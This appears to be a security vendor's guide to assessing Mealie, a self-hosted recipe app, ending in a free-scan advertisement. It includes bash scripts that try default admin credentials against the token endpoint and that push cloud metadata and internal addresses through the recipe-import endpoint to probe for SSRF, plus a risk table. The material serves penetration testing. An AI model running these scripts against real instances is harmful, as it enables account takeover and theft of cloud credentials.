Mealie is one of the most widely deployed self-hosted recipe management applications, providing meal planning, shopping list generation, and recipe import from cooking websites. Its security assessment covers: Mealie's documented default credentials are changeme@example.com/MyPassword (or admin@example.com/admin in versions before v1), which are widely shared in installation guides and YouTube tutorials — unchanged defaults give full admin access to all household recipe data and user management; Mealie's recipe import feature scrapes content from provided URLs by making server-side HTTP requests — submitting internal network addresses (cloud metadata endpoints, internal services) as recipe import URLs causes the Mealie server to make outbound HTTP requests to those targets, creating an SSRF vector; Mealie's REST API uses JWT authentication with tokens returned from the /api/auth/token endpoint — admin tokens provide access to all households, users, and recipes on the instance; Mealie's user registration can be open to allow self-signup; and admin users can manage all households and groups across the multi-tenant Mealie installation. This guide covers systematic Mealie security assessment.
# Mealie default credentials (documented in installation guide)
# v1+: changeme@example.com / MyPassword
# older: admin@example.com / admin
MEALIE_URL="https://mealie.example.com"
# Test default credentials via JWT token endpoint
for CREDS in "changeme@example.com:MyPassword" "admin@example.com:admin" \
"admin@example.com:MyPassword"; do
EMAIL="${CREDS%%:*}"
PASS="${CREDS##*:}"
RESPONSE=$(curl -s -X POST "${MEALIE_URL}/api/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=${EMAIL}&password=${PASS}" 2>/dev/null)
TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('access_token',''))
" 2>/dev/null)
if [ -n "$TOKEN" ] && [ "$TOKEN" != "null" ]; then
echo "DEFAULT CREDENTIALS: ${EMAIL}:${PASS}"
echo "Access token: ${TOKEN:0:50}..."
# Check if admin
curl -s "${MEALIE_URL}/api/users/self" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"email\",\"?\")} admin={d.get(\"admin\",\"?\")}')
" 2>/dev/null
break
fi
done
# Mealie recipe import: server fetches provided URL to scrape recipe content
# SSRF vector via /api/recipes/create-url endpoint
MEALIE_URL="https://mealie.example.com"
JWT_TOKEN="your-mealie-jwt-token"
# Test SSRF via recipe import URL
SSRF_TARGETS=(
"http://169.254.169.254/latest/meta-data/" # AWS IMDS
"http://metadata.google.internal/computeMetadata/v1/" # GCP metadata
"http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure IMDS
"http://127.0.0.1:8080/" # Internal service
"http://10.0.0.1/" # Gateway
)
for TARGET in "${SSRF_TARGETS[@]}"; do
RESULT=$(curl -s -X POST "${MEALIE_URL}/api/recipes/create-url" \
-H "Authorization: Bearer ${JWT_TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"url\":\"${TARGET}\"}" 2>/dev/null)
echo "SSRF target: ${TARGET}"
echo "Response: $(echo $RESULT | head -c 200)"
echo "---"
done
| Security Test | Method | Risk |
|---|---|---|
| Default changeme@example.com/MyPassword credentials | POST /api/auth/token with default credentials — JWT token grants full recipe, meal plan, shopping list, and user management access | Critical |
| Recipe import URL SSRF | POST /api/recipes/create-url with internal URL — Mealie server fetches the URL enabling SSRF to cloud metadata endpoints and internal network services | High |
| Admin token listing all households and users | GET /api/admin/users with admin JWT — lists all users, households, and group memberships across the entire Mealie instance | High |
| Open user registration when ALLOW_SIGNUP=true | POST /api/users/register — any visitor can create an account and access household recipe data when self-signup is enabled | High |
| Long-lived API token enumeration | GET /api/users/api-tokens with user JWT — lists all long-lived API tokens created for that user; tokens never expire by default | Medium |
| Household recipe data accessible to all household members | All recipes in a household are visible to all users in that household — verify isolation between households in multi-tenant deployments | Medium |
Ironimo tests Mealie deployments for default changeme@example.com/MyPassword credentials (and admin@example.com/admin for older versions) via the JWT token endpoint, recipe import SSRF via /api/recipes/create-url causing server-side HTTP requests to cloud metadata endpoints and internal services, admin token access to all households and user accounts across the instance, open user registration when ALLOW_SIGNUP is not disabled, long-lived API token enumeration for integrations, and multi-household data isolation validation.
Start free scan